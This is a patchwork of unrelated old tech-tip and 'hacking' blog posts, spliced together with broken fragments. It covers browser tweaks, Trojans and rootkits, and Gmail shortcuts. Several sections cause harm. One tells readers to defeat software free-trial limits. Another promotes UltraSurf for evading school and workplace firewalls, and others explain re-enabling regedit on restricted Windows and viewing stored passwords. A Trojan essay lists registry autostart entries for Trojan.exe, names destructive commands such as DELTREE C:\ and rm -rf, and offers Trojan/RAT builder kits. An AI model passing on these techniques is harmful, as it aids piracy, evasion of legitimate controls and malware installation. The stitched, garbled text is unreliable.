Edit your link to start Internet Explorer to have -nohome after it. For Example: "C:\Program Files\Internet Explorer\IEXPLORE.EXE" -nohomeThis will load internet explorer very fast because it does not load a webpage while it is loading. If you want to go to your homepage after it is loaded, just click on the home button.orOpen registry editor by going to Start then >> Run and entering >> regedit.Once in registry, navigate to key.HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion\InternetSettings. Right click @ windows right > New > DWORD.Type MaxConnectionsPerServer > You can set value (the more higher the no, the more good speed u get, e;g : 99). [99 in hexa so 153 in binary]Create another DWORD >type MaxConnectionsPer1_0Server. Then put a high value as mentioned above.Restart I.E and you are done
How would you like to be able to download software intended to be used on a free trial basis and use it indefinitely without cost never to expire? Well, there is a way you can take any free trial download and use it free for as long as you please. System Mechanic 6 Pro 30 day free trial then 69.95
Get it Free forever Kaspersky Anti-Hacker
Get it Free with System Mechanic Pro
Smart Protector Pro 15 day free trial then 39.90
Get It Free forever All you have to do is set your clock to some date in the distant future using adjust/date/time in Windows, download your free trial software, run the program once and rollback your time setting to the current date. After you’ve run the program for the first time, the Windows registry will be loaded with a Free Trial Key reflecting an expiration date that you’ve predetermined, and your good to go. Another roundabout way to do this after a trial has already expired would be to bring up the Registry Editor in Windows, find the trial key and delete it. Then download the program again and start the free trial period over. This is pretty easy to do, but if you’re using alot of free trials you may find it to be a hassle editing registers and downloading programs over again everytime one expires. Its much easier to simply adjust your date/time to 2009 or something, download your free trials, rollback to the current date and enjoy them for the next 3 years or so hassle free. By the way I’ve found that when doing this I’m still able to get the notifications when updated versions come along, and download them with no problem. The above screenshots are just 3 examples of the many programs that I’ve been doing this with for an extended time. If your the geek type, manipulating the dates in the registers will also work. Do some experimenting and see what you can find, there are tons of possibilities, and this is something you can have alot of fun with.
One of the main reason why some people would like to clear their Google search history from web browser and Google Toolbar is to maintain their privacy. If you own your own desktop or laptop which is used only by you, then it’s fine. But if your computer is shared with a few people, sometimes it’s just not nice to let them “accidentally” find out what you were looking for. An example below would be embarrassing.
Clear Google Search History
Here’s how you can clear Google’s search history from Firefox, Internet Explorer and Google Toolbar for Firefox and Internet Explorer.
The below instruction A and B is for deleting search history from the Google home page search box. This is if you use either Firefox or Internet Explorer and manually type in Google.com address to perform the search.
A. Internet Explorer 7
1. Go to Tools menu
2. Select Options
3. On General tab, click on the “Delete…” button from the Browsing History area.
4. Click “Delete forms…” button from the Form data area.
Remove search history
5. Click Yes to confirm.
B. In Mozilla Firefox
1. Go to Tools menu
2. Select Options
3. Select the “Privacy” tab
4. On the Private Data area, click on the “Clear Now…” button.
5. Make sure the “Saved Form and Search History” is checked and click on the Clear Private Data Now.
Clear Visited Link
The below instruction C and D is if you have Google Toolbar installed on your Firefox or Internet Explorer browser.
C. Internet Explorer with Google Toolbar
1. Click on the Google logo on the Toolbar to access the drop-down menu.
2. Select the “Clear History” option.
Clear Internet Explorer Google Toolbar Search History
C. Firefox with Google Toolbar
1. Click on the Google logo on the Toolbar.
2. Select “Clear Search History” option.
Clear Firefox Google Toolbar Search History
As you can see, clearing search history from Google Toolbar on Internet Explorer and Firefox is slightly a bit different. Not sure why they made it that way… Although it seems easy to clear Google search history, I did not immediately knew where to clear Google search history in Firefox Google Toolbar. I was searching through the options and the drop-down but I missed clicking the Google logo where the “Clear Search History” option is.
In the real world a "fire wall" is a fireproof wall that is built to stop the spread of fire from one part of a building to others. In the Internet world firewall has a similar purpose in that it stops the spread of harmful viruses and attacks from entering your home or office network.
Because of the ever-increasing threats that are appearing on the Internet you no longer have to be in business to need the protection of a fire wall. In fact, every computer that is connected to the internet should have one installed. You'll be a lot happier once you know that you have protected your personal files, information, and financial data, such as credit cards and bank account numbers, from being shared with every crook on the internet.
Here are some questions that you should consider before you choose a fire wall for your PC:
1. What features do I need?
2. Do I want to be protected from viruses, Trojan horses and worms?
3. Am I at risk because I use programs that access the Internet automatically?
4. How much am I willing to spend on a firewall solution?
Common features
Here are the common features that are available in almost any software-basedfire wall program:
Inbound filtering - protects unknown users or programs from accessing your PC
Outbound filtering - Protects your PC from sending information to the Internet without your permission
Application integrity verification - Verifies that any program you are running aren't sneaking around behind your back and doing things that they shouldn't be doing.
Data encryption - Automatically scrambles any sensitive data that you do allow to be transmitted.
Stealth mode - Hides that fact that your PC is even connected to the Internet so that hackers can't see you.
Pop-up ad blocking - Stops those annoying ads.
Cookie blocking - prevents web sites from sending you cookies without your permission Spyware protection - Blocks dangerous Spyware from operating on your PC
There are many software-based firewall programs that can be downloaded from the internet. Most of them come with free trials so you can test each one and choose what's best for you. Although you won't have to be King Geek to install and set up your firewall, there are some adjustments and settings that will have to be tweaked. All of the better firewall programs come with decent instructions and many of the products have help available at their web site.
If you notice that some program that used to work stops working after you install a fire wall then you'll have to make a change in the fire wall's configuration that will enable the program to operate freely. If you find that there is no way to let your previously operating program pass through the firewall then that might be a good indication that you need to try a different fire wall. Be sure to check with the makers of both the software program and the firewall before you give up and change.
his is only for 100 meters... but u can make for 1 k/m
.....
File: jammer.flv
br />
DownloadLink: http://rapidshare.com/files/73909362/jammer.flv
Finally i was able to find out a tool which can let you open any damn website in this world if you live in China. If not then your Workplace Management might have made that place a small China. I mean to say that you would not have access to any of the social networking, hacking, shopping, dating and download websites and the list goes on. So you can browse orkut from office, you can download stufs in office even the firewalls are on. Isn't it great. I was amazed with this kind of Technology.
I call it the Magic Lamp. It looks like one as well. :) No i am not joking.
How eagerly you tried to block the shackles by googleling the "How to Crack Websense", "How to bypass Firewall" , "How to browse orkut.com from ffice" again and again but everything went in vain. Similarly there was a country who was facing the same problem. The country is China. They are not allowed to search from the websites outside china. Even Google.com can't do that. Its beacause of their Firewalls that Chineese Government has installed on the gateways. Even though Ultra Surf seems to be working GREAT.
The company is called Ultra Reach who has developed this tool after so much reseach. In case you want to to check the original website please visit http://www.ultrareach.com.
Some of the benifits of Ultra Surf.
1. Extremely Portable. only 138 KB Download from here with complete UserGuide.
2. No Installation Required.
3. No Changes required in Operating System or registery entries or Browser.
4. Compatible with all Browsers.
What's in it for me (WIIFM), so you get.
* 100% freedom to have 100% information in most secure way.
* It means no matter where you are you can access 100% free version of internet I mean no firewalls no restriction nothing….
* Almost all schools, universities and corporate offices raise firewalls to filter out not work related sites, now those firewalls will be of no use or they have to change their plans.
* Everybody can access various social networks like Orkut, Youtube, Myspace, Hi5, Facebook, Linkedin etc. which are blocked almost in 99% schools and offices.
* 100% real time and it’s encryption is better then any online banking system.
Disclaimer: If you are using it in your office, College and School. Be careful as you may get tracked if you spread too much words about Ultra Surf. Only tell about this to someone you are confident with. But if you are not scared of anything then go ahead and use it anywhere.
Why i am saying that..... I know this question is haunting you at this moment. ok.. leme answer this question...
You know my favorite movie of all time. Spiderman. and if you remember the end of the movie. someone says something in the background.
Trojan horses present more difficulties in definition than at first appears. Whereas viruses are defined primarily by their ability to replicate, Trojans are primarily defined by their payload, or, to use a less emotive term, their function. Replication is an absolute value. Either a program replicates, or it doesn't. Damage and intent, however, are not absolutes, at least in terms of program function.
The first clue to their nature lies in ancient history and classical mythology. Around the 12th century B.C., Greece declared war on the city of Troy.
The dispute arose when Paris, variously described as a shepherd boy and as prince of Troy, abducted Helen, the wife of Menelaus, king of Sparta, and reputed to be the most beautiful woman in the world. The Greeks gave chase and engaged Troy in a 10-year war, but failed to take the city. This, of course, is the central plot of Homer's Iliad. Finally, the Greek army withdrew, leaving behind a huge wooden horse.
Greece's finest soldiers hid silently inside. The people of Troy saw the horse and, thinking with stunning naivete that it was a gift, brought it inside their city. That night, Greek soldiers under the leadership of Odysseus emerged from the horse, and opened the gates to the rest of the Greek army, who destroyed the city. In computing terms, the term Trojan horse is most often applied to an apparently attractive program concealing in some way an unpleasant surprise. Trojans work similar to the client-server model.
Trojans come in two parts, a Client part and a Server part. The attacker deploys the Client to connect to the Server, which runs on the remote machine when the remote user (unknowingly) executes the Trojan on the machine. The typical protocol used by most Trojans is the TCP/IP protocol, but some functions of the Trojans may make use of the UDP protocol as well. When the Server is activated on the remote computer, it will usually try to remain in a stealth mode, or hidden on the computer. This is configurable.
It is usual for Trojans to also modify the registry and/or use some other auto starting method. Many Trojans have configurable features like mailing the victim's IP, for example Pro Rat trojan, as well as messaging the attacker via ICQ or IRC. Also there are websites with ActiveX servers imbedded in them were any one using Internet explorer goes on the site and the attachment installs its self with out any warning.
This is relevant when the remote machine is on a network with dynamically assigned IP address or when the remote machine uses a dial-up connection to connect to the Internet. DSL users on the other hand, have static IPs so the infected IP is always known to the attacker.
Most of the Trojans use auto-starting methods so that the servers are restarted every time the remote machine reboots / starts. This is also notified to the attacker. As these features are being countered, new auto-starting methods are evolving. The start up method ranges from associating the Trojan with some common executable files such as explorer.exe to the known methods like modifying the system files or the Windows Registry.
Some of the popular system files targeted by Trojans are Auto start Folder, Win.ini, System.ini, Wininit.ini, Winstart.bat, Autoexec.bat Config.sys. Could also be used as an auto-starting method for Trojans Explorer Startup.
Registry is often used in various auto-starting methods.
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun]
" Info"="c:directoryTrojan.exe"
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce]
" Info"="c:directoryTrojan.exe"
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices]
" Info"="c:directoryTrojan.exe"
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce]
" Info="c: directoryTrojan.exe"
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
" Info"="c:directoryTrojan.exe"
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce]
" Info"="c:directoryTrojan.exe"
Registry Shell Open methods
[HKEY_CLASSES_ROOTexefileshellopencommand]
[HKEY_LOCAL_MACHINESOFTWAREClassesexefileshellopencommand]
A key with the value "%1 %*" should be placed there and if there is some executable file placed there, it will be executed each time a binary file is opened. It is used like this: trojan.exe "%1 %*"; this would restart the Trojan.
ICQ Net Detect Method
" [HKEY_CURRENT_USERSoftwareMirabilisICQAgentApps]
This key includes all the files that will be executed if ICQ detects Internet connection. This feature of ICQ is frequently abused by attackers as well.
ActiveX Component method
" [HKEY_LOCAL_MACHINESoftwareMicrosoftActiveSetupInstalledComponentsKeyName] StubPath=C: directoryTrojan.exe
These are the most common Auto-Starting methods using Windows system files, and the Windows registry.
The main Transmission of trojans are known to be by ICQ, IRC Attachments, Physical Access Browser And E-mail, Software Bugs with binded trojans, NetBIOS, Fake Programs, Un-trusted Sites, Freeware Software and most common of all is P2P File sharing! Yes that's Kaaza, Bear Share, Limewire and list goes on. Visit stop [bad] ware to learn about many free ware wich are bad and may carry spyware or even trojans!
So how do you go about finding and removing Trojans? Download and lean how to use TCPView. TCPView is a Windows program that will show detailed listings of all TCP and UDP endpoints on the system, including the local and remote addresses and state of TCP connections. On Windows NT, 2000 and XP TCPView also reports the name of the process that owns the endpoint. Best way to check for Trojans is close any open browsers let pc go in state of rest and open TCP view, once you see a connection established when youÃ’re not using anything and there is no signatures of the process than it might be a trojan. Another method is to view your Process. Simply hit [ALT] [CTRL] [DELETE] and it will list all of your running Process. Look for anything that you know might be suspicious or a trojan.
If you don't have a copy of Ad-Aware that you should go to there website and get one which helps remove many trojans and spyware. www.lavasoft.de/software/adaware/ . Sometimes you may run into trojan (trojans server.exe) that wont allow you to delet it and gives you errors like write protected or its in-use. You will need to run "Unlocker" and remove it that way. What are some other stealth ways Trojans can get on your pc and be remote controlled? The method is called ICMP Tunneling. ICMP tunneling is a method of using ICMP echo-request and echo-reply as a carrier of any payload an attacker may wish to use, in an attempt to stealthily access, or control a compromised system. This method makes it harder to find running server like TCP or UDP. The Internet Control Message Protocol is an adjunct to the IP layer. It is a connectionless protocol used to convey error messages and other information to unicast addresses . ICMP packets are encapsulated inside of IP datagram. The first 4-bytes of the header are same for every ICMP message, with the remainder of the header differing for different ICMP message types. There are 15 different types of ICMP messages.
Covert Channels are methods in which an attacker can hide the data in a protocol that is undetectable. Covert Channels rely on techniques called tunneling, which allows one protocol to be carried over another protocol.
A covert channel is a vessel in which information can pass, but this vessel is not ordinarily used for information exchange. Therefore, as a matter of consequence, covert channels are impossible to detect and deter using a system's normal (read: unmodified) security policy. In theory, almost any process or bit of data can be a covert channel. In practice, it is usually quite difficult to elicit meaningful data from most covert channels in a timely fashion. This makes it an attractive mode of transmission for a Trojan.
The attacker can use the covert channel and install the backdoor on the target machine. The concept of ICMP Tunneling is simple: arbitrary information tunneling in the data portion of ICMP_ECHO and ICMP_ECHOREPLY packets.
This exploits the covert channel that exists inside of ICMP_ECHO traffic. This channel exists because network devices do not filter the contents of ICMP_ECHO traffic. They simply pass them, drop them, or return them. The Trojan packets themselves are masqueraded as common ICMP_ECHO traffic. We can encapsulate (tunnel) any information we want. So what are come counter measure to protect your self from this attack? Configure your firewall to block ICMP incoming and outgoing echo packets. Blocking ICMP will disable ping request and may cause inconvenience to users. Most new firewall have this option. Last thing I want to stress is make sure your not with out a firewall or Anti-Virus and allways updating them.
[Types of Trojans]
Privacy-Invasive Trojans
Privacy-invasive Trojans generally perform some function that reveals to the programmer vital and privileged information about a system or otherwise compromises that system. Passwords are, for obvious reasons, a very common target.
They can also (or instead) conceal some function that either reveals to the programmer vital and privileged information about a system or compromises that system.
Some anti-virus companies have differentiated between PC-specific privacy-invasive Trojans and destructive Trojans by restricting the use of the term Trojan to destructive programs. They use the term password stealers for the most common privacy-invasive programs. In the latter half of the 1990s, password-stealing programs aimed specifically at AOL users seemed to become very common (some estimates at the number of such programs rose to many hundreds). Some anti-virus software uses an APS identifier for such programs, probably standing for AOL Password Stealer. However, AOL is not and never was the only vulnerable service. In their paper Where There's Smoke, There's Mirrors, Sarah Gordon and David Chess describe running user simulations on AOL over a seven-month period. While attempts were made to gain their dummy users'screen passwords, these attempts generally used direct social engineering techniques by correspondents masquerading as AOL staff, rather than indirectly with password stealing programs.
[Back Door Trojans]
Trojans have, from time to time, been planted in legitimate applications. Ken Thompson describes in Reflections on Trusting Trust a number of interesting (not entirely hypothetical) scenarios, the most famous being the Trojanized compiler scenario. In this case, production software offers the means of privileged access to anyone knowing of the back door or trapdoor described.
Back doors and trapdoors offering unauthorized access (and maybe modification) are not the only instances of unauthorized code introduced into legitimate programs, however. Many Mac owners who bought a certain brand of third-party keyboard with a Trojan hardcoded into ROM chip found that the text "Welcome Datacomp" was inserted into their documents at apparently random intervals. PC motherboards with a Trojanized BIOS were characterized by "Happy Birthday" played through the system loudspeaker at boot-up, apparently on the programmer's birthday.
[Remote Access Tools (RATs)]
Though few anti-virus vendors would claim to detect all known Trojans, most do detect at least some on the platforms for which they have products, especially those Trojans that do direct damage. Remote Access Tools (RATs) such as Netbus and Back Orifice, however, straddle a line between legitimate systems administration (similar to that carried out by programs such as PC Anywhere) and covert unauthorized access. When the system owner is persuaded to run the installation program, a server program is installed that can be accessed from a client program on a remote machine without the knowledge of the user. The server is used to manipulate the victim machine.
Functionally, there might be no difference between a RAT and a "legitimate" tool. The difference lies not in the functionality, but in the facilitation of the covert availability of that functionality to unauthorized individuals. As with sniffers and network scanners, it's not what the program does so much as the reason it's being used. Yet if RAT software is willingly installed, opening the system to an attack the user does not expect, does that make it a Trojan? Using Microsoft Word also makes the user vulnerable to attacks he might not have anticipated. It was, for instance, literally years before some computer users realized that using versions of Word and other Microsoft Office applications supporting macro languages made them vulnerable to macro viruses and Trojans. Does that make Bill Gates a Trojan author? No, because the functionality in this case is too generalized to be described as a back door. However, a RAT broadcasting its presence to a hacker, who probes a characteristic range of port numbers, can certainly be described as a back door Trojan. It promotes the intentions of the author and subverts the expectations of the victim.
This is a serious issue—not least in that the "Bad Guys" frequently allude to the shortcomings of legitimate software (especially Microsoft's) as if unforeseen bugs in Office justified their own premeditated activities.
Nonetheless, some RAT authors have exploited this ambivalence by producing "Professional" versions of such software and charging for them. This allows the authors to complain of the anti-capitalist, anti-competitive behavior of security vendors who detect their program as a Trojan (or, all too often and inaccurately, a virus). It works, too. Several anti-virus vendors have dropped detection of the Professional version of Netbus, despite the murkiness of its antecedents and its continuing potential for misuse. Others have gone out of their way to distinguish between standard Netbus Pro installations and Trojanized installations.
[Droppers]
A dropper is a program that is not itself a virus, but is intended to install a virus. Curiously, given the popular association of Trojans and viruses, droppers are a comparatively rare entry point for viruses in the wild (see the preceding chapter on viruses). In the PC world, dropper programs are most commonly associated with transporting boot sector viruses across networks, and can be used for that purpose by both pro- and anti-virus researchers. They can be used as a covert means of introducing a virus onto a system, if the victim can be persuaded by social engineering techniques to run the dropper program.
Droppers have been used surprisingly frequently in the Mac world, though. The MacMag virus was introduced via a HyperCard stack called New Apple Products. The Tetracycle game was implicated in the original spread of MBDF. ExtensionConflict is supposed to identify conflicts between extensions (now there's a surprise), but installs the SevenDust virus. Both SevenDust and MBDF are still being reported in the field. Back in the PC world, the Red Team alert muddied the waters by attaching a virus dropper alleged to be a fix for a virus that didn't and couldn't possibly exist.
[Jokes]
Joke programs are almost as old as computing. One venerable example is the PDP Cookie program, which popped up and asked the victim for a cookie. PC and Mac users have both long been delighted or irritated by such programs. Confusion has arisen due to the habit of anti-virus software of alerting (using the word virus) not only on viruses and Trojans, but on joke programs such as CokeGift. This widely distributed program offers the victim their CD tray as a holder for their fizzy drink (or possibly white powder for nasal ingestion or carboniferous fossil fuel). Cute for some, irritating for others, but not exactly life-threatening. However, the practice of alerting on joke programs might have arisen in response to supposed joke programs that threaten to format disks, or claim to have done so, but make no such actual attempt. Indeed, there have been instances when, what one vendor has reported as a Trojan, another vendor reported as a joke.
[Bombs]
Logic bombs are malicious programs that execute their payload when a preprogrammed condition is met. When the trigger condition is a time or date, the term time bomb may be used. A time-out is a logic bomb sometimes used to enforce contract terms. Characteristically, the program stops running unless some action is taken to indicate (for instance) that the license fee has been paid, or the contractor who wrote the code has been paid. It's not unknown for a contractor to introduce some more drastic time bomb to be triggered if a dispute over payment arises.
The use of the word bomb does suggest a destructive payload, but this need not, in fact, be the case. Mail bombs and subscription bombs, which don't really belong in a chapter on Trojans, are DoS (Denial-of-Service) attacks intended to inconvenience the victim by battering his or her mailbox with a barrage of mail. Often this is done by subscribing the victim to large numbers of mailing lists. Email Trojans certainly exist, although email is more commonly an infection vector for viruses and worms.
The term ANSI bomb usually refers to a mail message or other text file that takes advantage of an enhancement to the MS-DOS ANSI.SYS driver. This allows keys to be redefined with an escape sequence, in this case, to echo some potentially destructive command to the console. Such programs were at one time quite frequently reported on Fidonet. However, nowadays few systems run programs that require ANSI terminal emulation, and ANSI.SYS is not normally installed in Windows 9x or later.
There are alternatives to ANSI.SYS that don't support keyboard redefinition, or allow it to be turned off.
[Rootkits]
A rootkit is an example of a set of trojanized system programs that an intruder who manages to root-compromise a system might be able to substitute for the commands'standard equivalents. Examples include modified versions of system utilities such as top and ps, allowing illegitimate processes to run unnoticed; daemons modified to compromise log entries or hide connections; utilities gimmicked to enable escalation to root privileges or to hide rootkit component files or other backdoor functionality (secret passwords to allow privileged access, for instance). Associated programs include packet sniffers and utmp/wtmp editors (used to doctor log files).
Rootkits exist for a number of flavors of UNIX, and are appearing in NT versions. However, one-off Trojanized versions of login (that is, versions not included in a suite of programs such as a rootkit) have been used, for instance, to harvest passwords since Pontius programmed in PILOT.
You can find information on rootkits in the FAQ at http://staff.washington.edu/dittrich/misc/faqs/lrk4.faq.
Sarah Gordon's paper Publication of Vulnerabilities and Tool (Proceedings of the Twelfth World Conference on Computer Security, Audit and Control, 1995) includes a technical analysis of some rootkit components.
[DDoS Agents]
DDoS (Distributed Denial-of-Service) tools like Stacheldraht, TFN2K, and Trinoo are Trojans designed with a very specific purpose. They are intended to bring down Internet servers by remotely coordinating packet-flooding attacks from multiple machines. Typically, the intruder controls a number of master machines. These, in turn, control daemons on remote machines. Covertly installed, their presence is often concealed by the installation of rootkits. Daemons can be installed on many hundreds of remote machines, all directing flooding attacks at the victim system.
Detailed analysis of DDoS attacks and counter-attacks is beyond the scope of this chapter. However, the installation and presence of a DDoS attack tool can be detected by the same means as other malware. That is, recognition of a specific search string (Known Something Detection), heuristic scanning, and change detection. Virus scanners usually detect known DDoS tools. Network traffic can be monitored for characteristics such as IP packets with spoofed source addresses. Intrusion detection systems can be configured to scan for patterns characteristic of communications between master software and daemon software.
[Worms]
In principle, this should probably be the longest subsection in this chapter. Many system administrators now apply the term Trojan to what the author of Chapter 17, "Viruses and Worms," described as worms. While I regard this usage as misleading, it is defensible, common, and can't be ignored.
It's defensible because, as discussed in Chapter 17, most present-day worms are reliant on social engineering to persuade the recipient to execute the malicious code. In other words, they conform to one of the definitions we've previously examined suggesting that Trojans are programs that purport to do one (desirable) thing while actually doing some other (less desirable) thing.
The usage is misleading because it defies the definition of Trojans as non-replicative malware. In the virus business, most people hold the view that viruses and worms replicate. Some believe that the class worm is a subset of the class virus, and many regard Trojans as non-replicative. These distinctions are not just academic. To fight malicious code effectively, we need to understand how it works, and distinctions are particularly important when we come to examine a multipartite threats such as MTX or LoveLetter. Modern mail-borne malware might include components which can be described as parasitic (a file virus), a worm (a network virus that doesn't infect other files by direct attachment), and/or a classic Trojan.
[Trojan Security]
Trojans frequently masquerade as games, joke programs, screensavers, and other programs frequently exchanged by email, especially when strict system policies or security policies are not enforced. If software contains a privacy-invasive Trojan or a destructive Trojan with a delayed payload (a time bomb or other form of logic bomb, for example), the Trojan might be distributed by a victim who is not yet aware that the program is malicious.
Compiled binaries are not the only places you'll find Trojans. Batch files and other shell scripts, Perl programs, and perhaps even code written in JavaScript, VBScript, or Tcl can carry a Trojan. Scripting languages have been described as unsuitable for the creation of Trojans if the code remains humanly readable.
This increases the victim's chances of discovering the offending code. In real life, though, victims often seem quite happy to run unchecked code, even when it's humanly readable.
The LoveLetter virus was executed by countless recipients, even though the cleartext code clearly included a subroutine whose very name indicated that it was intended to infect files. Nesting a Trojan within such code is, however, more feasible if the file is part of a much larger package—for example, if the entire package extracts to many subdirectories.
In such cases, the complexity of the package can reduce the likelihood that a human being, using normal methods of investigation, would uncover the Trojan, especially if it's an easily overlooked short sequence like DELTREE C:\ or rm -rf. Trojans don't usually announce their intent. Worse still, many Trojans masquerade as legitimate, known utilities that you'd expect to find running on the system.
Thus, you cannot rely on detecting a Trojan by listing current processes. In detecting a Trojan by eye, much depends on the user's experience. Users who know little about their operating systems are less likely to venture deep into directory structures, looking for suspicious files. More proficient users are unlikely to have time to examine the complex system structures of modern operating systems, especially on server-class machines. Even experienced programmers can have difficulty identifying a Trojan, even when the code is available for their examination. Identification of malicious code by reverse-engineering can be more difficult and time-consuming by orders of magnitude.
New Trojans are difficult to detect using heuristic detection. (Unless you use the somewhat sweeping heuristic that a change in a file detected automatically is likely to indicate a Trojan substituted for a legitimate file.) There is no absolute test for code to determine whether it is (or is not) a Trojan because author intent and user expectations are not generally susceptible to automated analysis.
In most cases, Trojans are found in binaries, which remain largely in non-human-readable form. However, the fact that the code is largely static does make Trojans at least as susceptible to "known-something" detection as viruses. In other words, when a known malicious program is identified, it can be detected by software updated with an appropriate search string. Remember that, by most definitions, replication is not a characteristic of the Trojan breed. Trojans spread through the action of being copied by an attacker or a victim socially engineered into carrying out the attacker's wishes, not by self-copying.
Thus it is not usually feasible for an attacker to utilize techniques such as polymorphism to reduce the chance of detection. Since the copying of the program is not a function of the program itself, the program has no means of evolving into a nonidentical copy (a morph) of itself.
Nevertheless, undetected Trojans can lead to total system compromise. A Trojan can be in place for weeks or even months before it's discovered. In that time, a cracker with root privileges could alter the entire system to suit his or her needs. Even when the Trojan is discovered, many hidden loopholes might be left behind when it is removed.
More commonly, the process described as object reconciliation is known as change detection, integrity checking, or integrity management. However, these terms are not strictly synonymous.
Change detection simply describes any technique that alerts the user to the fact that an object has been changed in some respect.
Integrity checking has the same core meaning, but is often taken to imply a more sophisticated approach, not only to detecting change in spite of attempts to conceal it, but to ensuring that the reporting software itself is not subverted.
Integrity management is a more general term. It can include not only the detection of unauthorized changes, but other methods of maintaining system integrity. Such methods can include some or all of the following, in no particular order:
- Maintaining trusted backups
- Blocking unknown intrusions at entry
- Maintenance of strict access control
- Careful application of manufacturer patches to block newly discovered loopholes
- A finely engineered change-management system, using only signed (trusted) code.
A simple method of testing file integrity, is based on reports of changes in file state information. Different file integrity tests vary in sophistication. For example, you can crudely test a file's integrity using any of the following indexes:
- Date last modified
- File creation date
- File size
If you would like to learn how Trojans or Rats are built you may download VB, C++ or Delphi Kits from below!
{ Attention! Following kits are educational ! }
Download:
- Delphi Master Kit 2006
- VB Master Kit 2006
- C++ Master Kit 2006
Backround!
Delphi - A Rapid Application Development (RAD) system developed by Borland International, Inc. Delphi is similar to Visual Basic from Microsoft, but whereas Visual Basic is based on the BASIC programming language, Delphi is based on Pascal.
[ moderate - for pro's & begginers ]
VB - Programming language developed by Microsoft. Based on the BASIC language, Visual Basic was one of the first products to provide a graphical programming environment and a paint metaphor for developing user interfaces. Instead of worrying about syntax details, the Visual Basic programmer can add a substantial amount of code simply by dragging and dropping controls, such as buttons and dialog boxes. [ easy - for begginers ]
Gmail
C: Compose new message.
Shift + C: Open new window to compose new message.
Slash (/): Switch focus to search box.
K: Switch focus to the next most recent email. Enter or "O" opens focused email.
J: Switch focus to the next oldest email.
N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.
P: Switch focus to the previous message.
U: Takes you back to the inbox and checks for new mail.
Y: Various actions depending on current view:
Has no effect in "Sent" and "All Mail" views.
Inbox: Archive email or message.
Starred: Unstar email or message.
Spam: Unmark as spam and move back to "Inbox."
Trash: Move back to "Inbox."
Any label: Remove the label.
X: "Check" an email. Various actions can be performed against all checked emails.
S: "Star" an email. Identical to the more familiar term, "flagging."
R: Reply to the email.
A: Reply to all recipients of the email.
F: Forward an email.
Shift + R: Reply to the email in a new window.
Shift + A: Reply to all recipients of the email in a new window.
Shift + F: Forward an email in a new window.
Shift + 1 (!): Mark an email as spam and remove it from the inbox.
G then I: Switch to "Inbox" view.
G then S: Switch to "Starred" view.
G then A: Switch to "All Mail" view.
G then C: Switch to "Contacts" view.
G then S: Switch to "Drafts" view.
"Do enable the keyboard shortcuts in the settings"
Beginners steps for hacking.........
Getting Ip's:--
To see the ip all computers you are connected to (web servers, people attempting to hack into your computer).
Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.
Type netstat -r at the command prompt to see the ip of all computers you are connected to
In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.
When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are seperated by a : . Different programs use different ports, so you can work out which ip's are from which program.
Connecting to other computers and what ports are:--
Servers send information. Clients retrieve. Simple.
Windows comes with a built in program to connect to other computers called telnet.
To start Windows telnet Start menu> Run> type Telnet. Click connect> remote system
Ports are doors into computers. Hosts are computer names
(ip number or a name that is translated into the ip automatically)
Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:
11 :- Sends info on the computer
21 :- FTP (File transfer program)
23 :- Telnet (Login to the computers command line)
25 :- Smtp (Sends mail)
80 :- Http (Web pages)
There are thousands of different programs using different ports. You can get programs called portscanners which check a computer for all ports up to a certain number, looking for ways in. You can portscan a computer looking for ways-in.
Anyway, back to telnet.
Type http://www.yahoo.com/ as the host and port as 80 the click connect.
If nothing happens, you're in. Wow. You are connected to Yahoo's server.
You can now type http commands (you are connected to an http server, so it supports http commands). Ie. on an ftp server you can type open and it will do something. On an http server it will just wonder what the hell you are on about.
Type get / http/1.0 then press enter twice to get the file on the server at / (try /index.html) etc.)
Allowing dos and regedit in a restricted Windows
See http://blacksun.box.sk/tutorials/format.ph...le=windows.html for some very cool tactics.
A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0
Save it as something.reg then run it. Simple.
Making undeletable, unreadable folders
Tested on Windows 95/98
By holding down alt, then typing numbers on the number pad (right of the keyboard) you can create special characters. If you hold down alt, then press 1, then let go, you got the ascii character 1. You try some randomn numbers. This goes all the way up to 255. Open a dos prompt, and type md (alt+1+9+4)someword. md is the dos command to make a directoy, now try and open the directory in Windows, you can't. To open it, type ren (alt+1+9+4)someword someword (ren is the dos command to rename)
Proxies
Proxies are computers that you connect through, hiding your computer. Most aren't anonymous, they give away your ip. Some are. Good anonymous proxies: mail.uraltelecom.ru:8080 and 194.247.87.4:8080.
Different programs require different ways of using proxies. To do it in internet explorer 5 go to tools, internet options, connections, settings. In the above proxies they are in the format host:port
Password files
If you lock yourself out of Windows stuff, all passwords are stored in files called *.pwl in C:windows. Download showpass.zip from hereto view all passwords
Here is some free software tools to help you build your own websites and create web products.
Learning new skills is not difficult. It just takes a bit of willingness to give it a go. You will feel great satisfaction knowing that you can do this stuff.
*Zip Utility *HTML Editor *FTP Software *Screen Shot *Software Zip Utility
You just gotta have a zip utility if you intend to spend time on the Internet. I use WinZip for all my zipping and unzipping needs. It is fast and easy to use. If you would like to check out other zip utilities, go and do a search.
HTML Editor
To build web pages and eBooks, you'll need some kind of HTML editor. I use 1st Page 2000 for all my HTML editing. It is 100% Free for ever with all features working. This page and web site is being built with this editor.
After the editor is installed, you'll need some web pages to study. Search with the key words "free web page template". Don't worry, I just did it.
Quick Lesson:
All I did to begin learning was to simply open up these templates and study the code from within the editor and try to relate it to what I could see on the actual web page. For example, here is a shot of code from within the HTML editor:
